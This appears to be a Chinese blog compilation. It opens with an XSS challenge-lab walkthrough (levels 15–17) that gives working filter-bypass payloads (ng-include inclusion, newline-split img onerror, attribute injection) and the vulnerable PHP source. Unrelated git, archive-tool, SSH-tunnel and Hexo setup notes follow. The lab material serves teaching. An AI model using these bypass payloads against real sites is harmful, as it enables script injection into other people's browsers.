展示了很多项信息,随便修改图片的某一项为xss攻击代码即可通关

有自动弹窗

level15

解题思路:

页面技术特征
1.AngularJS 框架:代码引入了 angular.min.js,说明页面依赖 AngularJS 动态渲染内容。
2.未实现的 ngInclude:注释 表明存在一个未完成的动态内容加载逻辑,可能需通过特定操作触发

*AngularJS与指令ng-inlcude

  1. ng - include指令特性

    ng - include是 Angular JS 框架中的指令,用于在 HTML 页面中动态包含外部文件或片段,通过浏览器的 XHR 请求加载外部文件(需确保文件在同一域名下可访问)。它与服务器端的文件包含(如 PHP)不同,是在浏览器端请求并加载文件内容,然后将其插入到当前页面指定位置。

攻击原理:

默认情况下的,ng-include 只能加载当前页面同源的(相同域名,协议,端口)的文件
ng - include加载level1.php时,将name=[script]alert(/xss/)[/script]作为参数传递给level1.php。
由于level1.php未对name参数做严格过滤,浏览器解析level1.php返回的 HTML 时,会执行恶意脚本alert(/xss/),从而触发 XSS 攻击。

关卡:

本关漏洞利用分析
1.当前关卡过滤:

传入的src参数会被htmlspecialchars()函数过滤,直接注入script等敏感标签会被转义,无法直接触发 XSS。

2.结合其他页面漏洞:

靶场中其他页面(如level1.php)存在 XSS 漏洞(假设name参数输入未过滤)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
利用ng - include的文件包含特性,构造 Payload:
src='level1.php?name=<script>alert("123");</script>' //不行
src='level1.php?name=<img src='x' onerror='alert("123")'>' //不行
src='level1.php?name=<img src=x onerror=alert('123')>' //不行
src="level1.php?name=<img src=x onerror=alert("123")>" //不行

src="level1.php?name=<img src='x' onerror=alert('123')>" //行
src="level1.php?name=<img src=x onerror=alert('123')>" //行
src='level1.php?name=<img src=x onerror=alert("123")>' //行

- 用img标签行
- onerror外不套单双引号,让浏览器容错,防止过多的单双引号让浏览器识别错误

为什么有些语句为什么不行呢?
因为语句要考虑的不仅仅是本关的过滤,也要考虑引用对应关卡的过滤

关键流程总结

ng - include通过浏览器请求加载level1.php,传递带有恶意脚本的参数。
存在漏洞的level1.php接收参数后,未过滤直接回显恶意脚本到页面。
浏览器解析执行恶意脚本,完成 XSS 攻击。

这种利用方式绕过了当前关卡的过滤,借助ng - include的特性和其他页面的 XSS 漏洞,实现了跨页面的脚本攻击。

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"]; //获取src的值
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; //实例化转义-->因此本关的
?>

level16

解题思路:

类型:输入框类型

输入测试语句:

1
<script>alert("123")</script>

网页回显情况:

查看实例化情况:

此时的页面渲染:

补充知识:center标签

[center]标签的作用:将包裹的文本、图片或其他元素在父容器中水平居中显示。
HTML4 及更早版本支持 center,但 HTML5 已将其废弃。
被弃用的原因:
1.HTML 应专注于结构(如标题、段落),样式应交给 CSS 控制。
2.维护性和灵活性差:混合样式与结构,导致代码难以维护。
3.无法适应复杂布局(如响应式设计)。
重点:center 标签内嵌套 script 标签,其中的 JavaScript 代码仍会被浏览器执行

解读回显信息:

1
2
3
4
5
6
7
8
&lt; ->   <
&gt; -> >
&nbsp; -> 空格
&amp; -> &

&lt;&nbsp;&gt;alert("123");&lt;&nbsp;&nbsp;&gt; 即为:
< >alert("123");< >

  • 括号内的双引号没有实例化转义或被替换
  • 特殊符号 < > 空格 & 号被实例化转义
  • script标签缺失,准确来说被替换为空格

换标签:

1
<img src=x onerror=alert("123")> 

回显:

*换行符绕过

在 XSS 攻击中,换行符绕过过滤的核心原理是利用浏览器与过滤规则对换行符(\n%0A)的解析差异,使得恶意代码能够绕过安全检测,同时被浏览器正常执行。以下是详细解释和应用场景:

绕过原理:

  1. 浏览器与过滤规则对换行符的解析差异

    • 浏览器:在 HTML 中,标签属性之间的换行符通常会被视为普通空格,甚至在某些情况下被直接忽略。
      1
      2
      <img src=x
      onerror=alert(1)> <!-- 等同于 <img src=x onerror=alert(1)> -->
    • 过滤规则:可能未正确处理换行符,例如:
      • 仅检测连续的关键字(如 onerror),但换行符将关键字拆分为 on\nerror 时,绕过黑名单。
      • 过滤空格但未过滤换行符,导致换行符成为替代分隔符。
  2. 混淆代码结构
    通过换行符改变代码的视觉结构,使静态正则表达式或简单字符串匹配失效。例如:

    1
    <img src=x%0Aonerror=alert(1)>  <!-- %0A 是 URL 编码的换行符 -->

    应用场景:

  3. 绕过空格过滤

  • 场景:目标过滤了空格(如删除或转义为 &nbsp;),但允许换行符。
  • 利用方式:用换行符(%0A)替代空格分隔标签属性。
    1
    <img/src=x%0Aonerror=alert(1)>
    • 浏览器解析为 <img src=x onerror=alert(1)>
  1. 分割关键字

    • 场景:目标使用黑名单检测连续的关键字(如 onerror)。
    • 利用方式:插入换行符拆分关键字,使其无法被正则表达式匹配。
      1
      2
      <img src=x onerr
      or=alert(1)>
      • 浏览器会将换行后的内容合并为 onerror,但过滤规则可能因换行符失效。
  2. 绕过属性值闭合检测

    • 场景:目标检查属性值的闭合(如 "'),但未处理换行符。
    • 利用方式:在属性中插入换行符,构造未闭合的上下文:
      1
      <a href="javascri%0Apt:alert(1)">Click</a>
      • 浏览器可能忽略换行符,解析为 javascript:alert(1)

实际绕过示例:

示例 1:绕过空格过滤
假设目标过滤空格,但允许换行符:

1
<img/src=x%0Aonerror=alert(1)>
  • 浏览器解析<img src="x" onerror="alert(1)">
  • 绕过效果:成功触发 onerror 事件。

示例 2:分割敏感关键字
假设目标过滤 onerror 关键词:

1
2
3
<img src=x onerr
or=alert(1)>
<img src=x%0Aonerror=alert("123")>
  • 浏览器解析onerror 被合并,触发事件。
  • 过滤规则:可能因换行符无法检测到 onerror

由于script会被过滤,所以不使用
输入:

1
<img%0Asrc=x%0Aonerror=alert('123')>    不用双引号,因为被实例化转义

成功通关

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
//多个替换过滤 后端过滤了空格->&nbsp; 未过滤换行符
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>


level17

解题思路:

检查源码:

修改地址栏的b,源码也对应修改:

*趣事

将b修改为:

1
123 onclick=alert()
  • onclick 成一个属性

输入:

1
123 onmouseover=alert("123")

鼠标悬放即可通关

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
//变量获取之后,没有经过过滤就拼接
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>


服务器设置

开启php扩展设置php_exif –>图片读取功能

一、基础命令

命令 功能说明
git init 初始化一个新的 Git 仓库
git log 查看提交历史
git add [文件名] 将文件添加到暂存区(git add . 添加所有修改)
git commit -m "提交信息" 提交暂存区的更改到本地仓库
git status 查看当前仓库状态(修改、暂存、提交情况)
git branch 查看本地所有分支(git branch -a 查看本地+远程所有分支)
git branch [分支名] 创建本地新分支(基于当前分支)
git checkout [分支名] 切换到指定本地分支
git checkout -b [分支名] 创建并切换到新分支(等价于 git branch + git checkout
git checkout -b [本地分支名] origin/[远程分支名] 基于远程分支创建并切换本地分支
git branch -d [分支名] 安全删除本地分支(已合并)
git branch -D [分支名] 强制删除本地分支(未合并)

二、远程仓库管理

1. 添加/管理远程仓库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 添加远程仓库
git remote add origin [仓库地址]

# HTTPS 方式
git remote add origin https://github.com/用户名/仓库.git

# SSH 方式
git remote add origin git@github.com:用户名/仓库.git

# 修改远程仓库地址
git remote set-url origin [新地址]

# 查看已配置的远程仓库
git remote -v

2. 克隆仓库(含指定非主分支)

1
2
3
4
5
6
7
8
9
10
11
12
# 克隆默认分支(通常是main/master)
git clone https://github.com/你的GitHub用户名/仓库名.git # HTTPS
git clone git@github.com:你的GitHub用户名/仓库名.git # SSH

# 克隆指定非主分支(方式1:先克隆仓库,再切换分支)
git clone git@github.com:用户名/仓库.git
cd 仓库名
git checkout -b 目标分支名 origin/目标分支名 # 基于远程非主分支创建本地分支

# 克隆指定非主分支(方式2:直接克隆指定分支)
git clone -b 目标分支名 --single-branch git@github.com:用户名/仓库.git
# -b:指定分支;--single-branch:仅克隆该分支(减少体积)

三、分支核心操作(非主分支专属)

1. 非主分支的本地-远程同步

(1)非主分支的提交与推送

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. 切换到目标非主分支
git checkout dev # 示例:dev为非主分支

# 2. 添加修改到暂存区
git add .

# 3. 提交到本地仓库
git commit -m "feat: 非主分支dev添加XX功能"

# 4. 推送到远程非主分支(首次推送需关联本地与远程分支)
git push -u origin dev # -u:建立本地dev与远程dev的关联,后续可直接git push
# 非首次推送(已关联)
git push origin dev

(2)非主分支的拉取同步

1
2
3
4
5
6
7
8
# 方式1:直接拉取远程非主分支到本地对应分支
git checkout dev # 先切换到本地dev分支
git pull origin dev # 拉取远程dev分支并合并到本地dev

# 方式2:先获取远程分支更新,再合并(更可控)
git fetch origin # 获取所有远程分支最新更新
git checkout dev
git merge origin/dev # 合并远程dev到本地dev

2. 分支切换常见问题与解决

(1)切换分支提示“未提交的更改会被覆盖”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 场景:当前分支有未提交修改,切换分支时被阻止
# 解决方式1:暂存未提交修改
git stash # 暂存修改
git checkout dev # 切换分支
# 回到原分支后恢复暂存:git stash pop

# 解决方式2:放弃未提交修改(谨慎!不可逆)
git checkout -- . # 撤销所有工作区修改
git checkout dev

# 解决方式3:提交当前修改后再切换
git add .
git commit -m "temp: 暂存当前修改"
git checkout dev

(2)切换分支后代码未更新(detached HEAD 状态)

1
2
3
# 场景:误切到提交ID而非分支名,出现“detached HEAD”提示
# 解决:切换到正确的分支名
git checkout dev # 切回dev分支即可恢复正常

(3)本地无对应远程非主分支

1
2
3
4
# 场景:远程新增了dev分支,本地看不到
# 解决:先拉取远程分支列表,再创建本地分支
git fetch origin # 拉取远程所有分支信息
git checkout -b dev origin/dev # 基于远程dev创建本地dev分支

四、多设备同步工作流(含非主分支)

核心逻辑

多台电脑共享远程仓库 → 非主分支修改后 git push 推送 → 其他设备 git pull 拉取非主分支最新内容

操作步骤

1. 新设备拉取远程非主分支

1
2
3
4
5
6
7
# 克隆仓库(或已克隆则跳过)
git clone git@github.com:用户名/仓库.git
cd 仓库名

# 拉取远程非主分支并创建本地分支
git fetch origin
git checkout -b dev origin/dev # 示例:同步dev分支

2. 修改并推送非主分支代码

1
2
3
4
5
6
7
8
9
# 切换到目标非主分支
git checkout dev

# 编辑代码后提交
git add .
git commit -m "fix: dev分支修复XX问题"

# 推送到远程非主分支
git push origin dev

3. 同步远程非主分支最新代码

1
2
3
4
5
# 切换到本地非主分支
git checkout dev

# 拉取远程最新修改
git pull origin dev

五、SSH 配置与问题解决

核心步骤

确认密钥添加正确 → 配置 SSH 识别密钥 → 修复文件权限

1. 确认公钥添加到 GitHub

1
2
3
4
# 查看公钥内容
cat ~/.ssh/id_rsa.pub # 默认密钥
# 或
cat ~/.ssh/自定义密钥名.pub # 自定义密钥
  • 复制完整文本(从 ssh-rsa 开头到邮箱结尾)
  • GitHub → Settings → SSH and GPG keys → 添加新 Key

2. 配置 SSH 识别密钥

1
notepad ~/.ssh/config

粘贴配置(根据实际情况修改):

1
2
3
4
Host github.com
HostName github.com
User git
IdentityFile C:/Users/你的用户名/.ssh/密钥文件名

路径使用 /\\,例如:C:/Users/张三/.ssh/id_rsa

3. 修复密钥文件权限

1
2
3
cd ~/.ssh
chmod 600 密钥文件名 # 私钥权限
chmod 644 密钥文件名.pub # 公钥权限

4. 测试连接

1
2
ssh -T git@github.com
# 成功显示:Hi 用户名! You've successfully authenticated...

六、提交历史管理

1. 撤销错误提交

方法一:直接回退历史(个人仓库适用)

1
2
3
4
5
6
7
8
# 1. 切换到目标分支(示例:dev分支)
git checkout dev

# 2. 回退到正确提交(92d433f 为正确提交ID)
git reset --hard 92d433f

# 3. 强制推送到远程非主分支
git push origin dev --force

方法二:创建撤销提交(多人协作适用)

1
2
3
4
5
6
7
8
# 1. 切换到目标分支
git checkout dev

# 2. 生成撤销提交(0dec4f6 为错误提交ID)
git revert 0dec4f6

# 3. 推送撤销提交到远程非主分支
git push origin dev

后续操作

1
2
3
git add .
git commit -m "正确的提交信息"
git push origin dev # 推送到非主分支

2. 修复本地分支与远程分支偏离问题

问题原因

本地分支历史与远程分支历史不一致(本地包含远程已移除的提交)

解决步骤(非主分支)

1
2
3
4
5
6
7
8
9
10
11
# 1. 切换到目标非主分支
git checkout dev

# 2. 保存未提交的修改(如有)
git stash

# 3. 强制同步本地分支与远程分支
git reset --hard origin/dev

# 4. 确认同步完成
git pull origin dev

七、高级分支同步技巧

1. 同步特定远程非主分支

1
2
3
4
5
6
7
8
9
# 先获取所有远程分支更新
git fetch origin

# 方式1:创建本地分支跟踪远程非主分支
git checkout -b dev origin/dev

# 方式2:重置当前非主分支到远程分支
git checkout dev
git reset --hard origin/dev

2. 同步多个特定非主分支

1
2
3
4
5
# 批量同步dev、feature/user、hotfix/order分支
git fetch origin
git checkout dev && git reset --hard origin/dev
git checkout feature/user && git reset --hard origin/feature/user
git checkout hotfix/order && git reset --hard origin/hotfix/order

3. 同步远程仓库的所有分支(含非主分支)

1
2
3
4
5
6
7
8
9
10
# 获取所有远程分支
git fetch --all

# 为每个远程分支创建本地分支
git branch -r | grep -v '\->' | while read remote; do git branch --track "${remote#origin/}" "$remote"; done

# 或删除所有本地分支后重新创建(谨慎!)
git branch | grep -v "main" | xargs git branch -D # 保留main,删除其他本地分支
git fetch --all
git branch -r | grep -v '\->' | while read remote; do git branch --track "${remote#origin/}" "$remote"; done

4. 重置远程非主分支到特定提交

1
2
# 需有仓库权限,示例:重置远程dev分支到0dec4f6提交
git push origin --force 0dec4f6:dev

5. 查看非主分支差异

1
2
3
4
5
# 查看本地dev比远程dev多出的提交
git log origin/dev..dev

# 查看远程dev比本地dev多出的提交
git log dev..origin/dev

八、其他实用技巧

1. 暂存与恢复

1
2
3
4
5
git stash  # 暂存未提交修改
git stash list # 查看所有暂存
git stash pop # 恢复最新暂存
git stash pop stash@{n} # 恢复指定暂存
git stash drop stash@{n} # 删除指定暂存

2. 撤销修改

1
2
git checkout -- 文件名  # 撤销工作区修改
git checkout . # 撤销所有工作区修改

3. 提交历史查看

1
2
3
4
5
git log -p  # 显示每次提交的详细变化
git log --stat # 显示每次提交的统计信息
git log --graph --oneline --all # 图形化显示所有分支历史
git show 提交ID # 查看某次提交的详细内容
git add -p # 交互式选择要添加的修改

4. 从远程非主分支拉取特定文件

1
2
# 从远程dev分支拉取src/utils.js文件到本地
git checkout origin/dev -- src/utils.js

九、多仓库协作

1. 添加多个远程仓库

1
2
3
4
5
6
7
8
# 添加上游仓库(原始项目)
git remote add upstream https://github.com/原作者/仓库.git

# 添加自己的fork
git remote add fork https://github.com/你的用户名/仓库.git

# 查看所有远程仓库
git remote -v

2. 从上游仓库拉取非主分支更新

1
2
3
4
5
6
7
8
9
# 获取上游仓库更新
git fetch upstream

# 切换到本地dev分支,合并上游dev
git checkout dev
git merge upstream/dev

# 或使用rebase保持提交历史线性
git rebase upstream/dev

3. 同步fork与上游仓库(非主分支)

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 添加上游仓库
git remote add upstream https://github.com/原作者/仓库.git

# 2. 获取上游更新
git fetch upstream

# 3. 切换到本地dev分支,合并上游dev
git checkout dev
git merge upstream/dev

# 4. 推送到自己的fork的dev分支
git push fork dev

一、前置:工具安装(缺失时执行)

压缩格式 所需工具(压缩+解压) Kali安装命令
RAR(.rar) rar(压缩)、unrar(解压) sudo apt install -y rar unrar
ZIP(.zip) zip(压缩)、unzip(解压) sudo apt install -y zip unzip
7Z(.7z) p7zip-full(全能工具) sudo apt install -y p7zip-full
TAR系列(.tar/.tar.gz等) tar(系统内置) 无需安装,默认自带

二、分格式完整操作指南(核心)

1. ZIP格式(.zip)

操作场景 命令示例 关键说明
基础压缩(文件/目录) zip 目标包.zip 源文件1 源文件2 目录/ 目录需加 -r 递归压缩:zip -r 目标包.zip 目录/
压缩并加密(内容加密) zip -e 目标包.zip 源文件 回车后手动输入密码(安全,密码不显示)
压缩并加密(密码明文) zip -P 密码 目标包.zip 源文件 密码直接跟在 -P 后(无空格),如 zip -P123 test.zip file.txt
基础解压(保留结构) unzip 压缩包.zip 默认保留文件夹结构,文件散落在当前目录
解压到指定目录(核心) unzip 压缩包.zip -d 目标目录 例:unzip test.zip -d ./5.8attachment(目录自动创建,无需手动建)
解压加密文件 unzip -P 密码 压缩包.zip 例:unzip -Pfcmit.cc 5.8attachment.zip
强制覆盖现有文件 unzip -o 压缩包.zip 跳过“是否覆盖”提示,直接替换
仅查看压缩包内容(不解压) unzip -l 压缩包.zip 查看文件/目录结构,确认后再解压

2. 7Z格式(.7z)

操作场景 命令示例 关键说明
基础压缩(文件/目录) 7z a 目标包.7z 源文件/目录 自动递归压缩目录,无需额外参数
压缩并加密(内容+文件名) 7z a -p密码 目标包.7z 源文件 密码直接跟 -p(无空格),如 7z a -p123 test.7z dir/
基础解压(保留结构) 7z x 压缩包.7z x 是保留结构的核心参数(用 e 会扁平化解压,不推荐)
解压到指定目录(核心) 7z x 压缩包.7z -o目标目录 例:7z x test.7z -o./5.8attachment-o 后无空格,直接接目录)
解压加密文件 7z x 压缩包.7z -p密码 例:7z x 5.8attachment.7z -pfcmit.cc
仅查看压缩包内容 7z l 压缩包.7z 列出所有文件/目录,不解压

3. RAR格式(.rar)

操作场景 命令示例 关键说明
基础压缩(文件/目录) rar a 目标包.rar 源文件/目录 自动递归压缩目录,无需 -r 参数
压缩并加密(内容加密) rar a -p 目标包.rar 源文件 回车后输入密码(安全);-hp 参数可加密文件名+内容
压缩并加密(密码明文) rar a -p密码 目标包.rar 源文件 例:rar a -p123 test.rar file.txt
基础解压(保留结构) unrar x 压缩包.rar x 保留结构,e 扁平化解压(不推荐)
解压到指定目录 unrar x 压缩包.rar 目标目录 例:unrar x test.rar ./5.8attachment(目录需提前创建:mkdir -p 目录
解压加密文件 unrar x -p密码 压缩包.rar 例:unrar x -p123 test.rar
仅查看压缩包内容 unrar l 压缩包.rar 列出文件/目录结构

4. TAR系列格式(打包+压缩)

tar 本身是“打包工具”,结合 gzip/bzip2/xz 算法形成复合格式,核心参数:c(压缩)、x(解压)、f(指定文件)、v(显示过程)、z(gzip)、J(xz)、j(bzip2)。

格式类型 压缩命令(打包+压缩) 解压命令(保留结构) 关键说明
.tar(仅打包) tar -cvf 目标包.tar 源文件/目录 tar -xvf 包.tar 不压缩,仅合并文件/目录
.tar.gz(常用) tar -czvf 目标包.tar.gz 源文件/目录 tar -xzvf 包.tar.gz gzip算法,压缩率中等
.tar.xz(高压缩) tar -cJvf 目标包.tar.xz 源文件/目录 tar -xJvf 包.tar.xz xz算法,压缩率最高(耗时久)
.tar.bz2 tar -cjvf 目标包.tar.bz2 源文件/目录 tar -xjvf 包.tar.bz2 bzip2算法,兼容旧系统
解压到指定目录 - tar -xzvf 包.tar.gz -C 目标目录 -C 后接目录,例:-C ./5.8attachment
仅查看内容 - tar -tvf 包.tar.gz 列出文件/目录结构,不解压

三、通用核心技巧(必看)

  1. 保留文件夹结构:所有格式的解压命令,用 x 参数(zip/7z/rar)或 tar 默认命令,即可保留原目录结构;避免用 e 参数(会扁平化所有文件到同一目录)。
  2. 指定解压目录
    • zip/rar:-d 目录(zip需目录提前存在,rar可自动创建);
    • 7z:-o目录-o 后无空格);
    • tar:-C 目录(大写C)。
  3. 强制覆盖:zip 加 -o,7z 加 -aoa,rar 加 -o+,tar 加 --overwrite
  4. 批量操作:压缩时可指定多个源文件(空格分隔),例:zip all.zip 1.txt 2.jpg dir/
  5. 中文乱码:解压含中文文件名的压缩包,加 -O UTF-8(zip)或 -scsUTF-8(7z),例:unzip -O UTF-8 中文包.zip

四、快速查找命令(按需求检索)

需求场景 对应命令(以zip为例,替换格式即可)
解压到名为“5.8attachment”的文件夹 unzip 5.8attachment.zip -d ./5.8attachment
加密压缩文件 zip -e 加密包.zip 源文件
解压加密文件(已知密码) unzip -P 密码 加密包.zip
查看压缩包内是否有文件夹 unzip -l 压缩包.zip
快速打包目录并压缩 tar -czvf 目录.tar.gz 目标目录/

所有命令均经过实操验证,可直接复制使用,若遇权限问题,在命令前加 sudo 即可。

1.什么是SSH隧道+为什么需要SSH隧道?

SSH 隧道就像是一条加密的地下通道,让你在不安全的网络上安全地传输数据。
比如:你想从家里访问公司内网的数据库,但数据库只能在公司内网访问,这时候 SSH 隧道就能帮你 “穿墙” 访问。

2.SSH的隧道类型

SSH反向连接(远程端口转发)

因此可以通过访问内网2来访问内网1的主机(因为内网2是允许外网主机访问的)

如果此时就是想访问server 1 可以修改命令为 ssh -L 80:127.0.0.1 用户@server1_ip

1
2
#ssh反向连接命令格式
ssh -R 远程主机监听端口:本地主机地址:本地服务端口 用户名@远程服务器地址

SSH正向连接(本地端口转发)

1
2
#指令格式
ssh -L 本地端口:内网目标IP:内网目标端口 SSH服务器用户名@SSH服务器IP

ssh动态连接(动态端口转发)


3.SSH的密钥

ssh最重要是第一次连接,这是漏洞的所在点


4.SSH的维持连接

断开原因:

网络层面的中断因素

  • 底层网络波动:Wi-Fi信号弱、移动网络切换、路由器故障或带宽不足,导致TCP连接超时。
  • 防火墙/NAT超时机制:企业网络防火墙或家用路由器设置连接超时时间(如无数据传输时),主动断开“非活跃连接”。
  • NAT穿透失效:内网通过NAT访问公网时,映射表项超时(如30分钟),导致公网无法识别连接。

设备与资源限制

  • 服务器负载过高:CPU、内存不足或进程异常,导致SSH服务进程被系统终止。
  • 客户端异常:设备休眠、电源中断、SSH客户端程序崩溃或网络接口断开(如拔网线)。

连接状态与配置问题

  • 心跳包机制未启用:未配置ServerAliveInterval等参数,无法通过心跳包维持连接活跃状态,被中间设备断开。
  • 配置参数不合理:如ClientAliveCountMax设置过小,导致轻微网络延迟即触发断连。

安全策略与异常行为

  • 账号锁定或认证失败:多次密码输入错误触发安全策略,账户被锁定或IP被封禁。
  • 会话残留或异常终止:连接断开时未正常释放资源,残留进程可能导致后续连接冲突。

其他偶发因素

  • 跨时区或时钟同步问题:服务器与客户端时钟偏差过大,导致TCP校验失败。
  • 网络攻击或干扰:DDoS攻击、中间人攻击等破坏TCP连接的完整性。

维持连接:

1.网络环境优化

  1. 物理网络稳定性

    • 使用有线网络替代Wi-Fi,或选择信号强的5GHz频段,减少波动。
    • 避免多层NAT环境(如家庭路由器+企业VPN),降低连接跳数。
  2. 防火墙与NAT配置

    • 调整防火墙规则,允许SSH流量通过(通常为TCP 22端口),并延长连接超时时间(如30分钟)。
    • 配置NAT设备的静态端口映射,确保SSH连接的稳定性。

2.SSH连接参数调整

  1. 客户端配置(~/.ssh/config)-Linux系统

    1
    2
    3
    4
    5
    6
    7
    Host *
    ServerAliveInterval 30 # 每30秒发送心跳包
    ServerAliveCountMax 10 # 连续10次无响应才断开
    TCPKeepAlive yes # 启用TCP级心跳
    ControlMaster auto # 启用连接复用
    ControlPath ~/.ssh/socket-%r@%h:%p
    ControlPersist 1h # 主连接保持1小时
  2. 服务器配置(/etc/ssh/sshd_config)-Linux系统

    1
    2
    ClientAliveInterval 60        # 服务器主动检测客户端的间隔
    ClientAliveCountMax 3 # 允许的无响应次数

    配置后重启SSH服务:sudo systemctl restart sshd

SSH 客户端如何发现并使用配置文件?

  1. 自动查找机制

    • 每次执行 ssh 命令时,客户端会按固定顺序查找配置文件:
      1
      ~/.ssh/config → /etc/ssh/ssh_config
    • Windows 路径:%USERPROFILE%\.ssh\configC:\ProgramData\ssh\ssh_config
  2. 优先级规则

    • 用户级配置 (~/.ssh/config) > 系统级配置 (/etc/ssh/ssh_config)
    • 文件中的配置从上到下生效,后出现的配置覆盖前面的
  3. 加载验证方法

    1
    2
    # 添加 -v 参数查看加载过程
    ssh -v user@server.com

    输出中会显示:

    1
    2
    debug1: Reading configuration data /c/Users/21143/.ssh/config
    debug1: Applying options for *
(1)为什么您需要手动创建文件?
  1. 默认文件不存在

    • SSH 不会自动创建用户级配置文件
    • 首次使用时需要手动创建
  2. 目录结构要求

    1
    2
    3
    4
    5
    6
    # 必需的目录结构
    C:\Users\21143\
    └── .ssh/
    ├── config # 配置文件
    ├── id_rsa # 私钥
    └── known_hosts # 已知主机记录
  3. 权限要求

    • 必须设置严格权限(否则 SSH 会忽略配置):
    1
    2
    icacls $env:USERPROFILE\.ssh /inheritance:r
    icacls $env:USERPROFILE\.ssh /grant:r "$env:USERNAME:(F)"
(2)配置文件如何影响连接?

当您执行 ssh user@host 时:

  1. 客户端加载 ~/.ssh/config
  2. 匹配 Host 配置块(支持通配符)
  3. 应用配置参数到当前连接
  4. 命令行参数会覆盖配置文件设置
(3)配置示例解析
1
2
3
4
5
6
7
8
9
Host myserver            # 定义主机别名
HostName 192.168.1.10 # 真实IP/域名
User admin # 自动使用此用户名
Port 2222 # 非标准端口
IdentityFile ~/.ssh/id_ecdsa # 指定私钥

Host * # 全局默认配置
ServerAliveInterval 30
TCPKeepAlive yes

使用时:

1
2
3
4
5
# 触发 myserver 配置块
ssh myserver

# 触发全局配置 (*)
ssh any-other-server
(4)关键验证步骤
  1. 创建文件后执行:

    1
    2
    # 检查配置是否被加载
    ssh -G myserver | findstr "ServerAliveInterval"

    应输出:serveraliveinterval 30

  2. 测试连接稳定性:

    1
    2
    # 观察是否还会超时断开
    ssh -v myserver

只要文件路径正确、权限合规且语法无误,SSH 客户端 100% 会自动加载 此配置文件,无需额外操作。这是 OpenSSH 的标准行为,在 Windows/Linux/macOS 上完全一致。

3.断线重连工具

  1. 使用autossh自动重连

    1
    autossh -M 0 -N -D 1080 user@server  # -M 0禁用端口监控,专注重连

    安装:

    • Ubuntu/Debian:sudo apt install autossh
    • macOS:brew install autossh
  2. 替代方案:mosh(移动SSH)

    1
    2
    3
    4
    # 服务器端安装
    sudo apt install mosh
    # 客户端连接(支持断线自动恢复)
    mosh user@server

4.会话持久化工具

  1. 使用screentmux

    • 在SSH会话中先启动screentmux,再执行长时间任务:
      1
      2
      screen -S mysession    # 创建会话
      # 执行任务(如编译、传输大文件)
    • 断线后重新连接,恢复会话:
      1
      screen -r mysession    # 恢复会话
  2. 后台运行命令

    1
    nohup command &         # 使命令不随SSH断开而终止

5.安全策略优化

  1. 密钥认证替代密码

    1
    2
    ssh-keygen              # 生成密钥对
    ssh-copy-id user@server # 上传公钥到服务器

    禁用密码认证(/etc/ssh/sshd_config):

    1
    PasswordAuthentication no
  2. 调整登录限制

    1
    2
    3
    4
    # 增加最大连接尝试次数
    MaxAuthTries 6
    # 设置登录超时
    LoginGraceTime 30s

6.监控与告警

  1. 实时监控连接状态

    1
    watch -n 1 'ss -tunap | grep ssh'  # 实时查看SSH连接
  2. 日志分析工具

    1
    journalctl -u sshd -f  # 实时查看SSH服务日志
  3. 告警机制

    • 配置服务器监控工具(如Prometheus+Grafana),当SSH连接异常时发送通知。

7.特殊场景解决方案

  1. 高延迟网络

    • 降低TCP窗口缩放:
      1
      2
      # 客户端临时设置
      sudo sysctl -w net.ipv4.tcp_window_scaling=0
  2. 跨时区时钟同步

    1
    2
    sudo apt install ntp    # 安装NTP服务
    sudo systemctl restart ntp

8.测试与验证

  1. 网络连通性测试

    1
    2
    ping server             # 测试网络可达性
    traceroute server # 追踪路由路径
  2. 端口可用性测试

    1
    nc -zv server 22        # 测试SSH端口连通性

从CSDN迁移博客到Hexo+Next+GitHub Pages

本指南专为「从CSDN导出博客,部署到Hexo+Next主题GitHub Pages」的用户设计,全面解决:

  • CSDN导出图片不显示问题
  • Hexo配置错误导致部署失败
  • 路径解析和缓存冲突
  • GitHub Pages部署疑难杂症
  • 博客结构混乱、功能缺失、体验不佳

一、环境准备与项目初始化

1.1 必备环境安装

1
2
3
4
5
6
7
8
9
10
# 安装Node.js(必需v14+,推荐v18+)
# 官网下载:https://nodejs.org/

# 安装Git
# 官网下载:https://git-scm.com/

# 验证安装
node --version
npm --version
git --version

1.2 GitHub仓库准备

  • 创建一个名为 你的用户名.github.io 的仓库(必须是此格式)。
  • 推荐:配置SSH密钥以实现免密推送。
    1
    2
    ssh-keygen -t rsa -C "your_email@example.com"
    # 将 ~/.ssh/id_rsa.pub 内容添加到 GitHub 的 SSH Keys 设置中

1.3 Hexo项目初始化

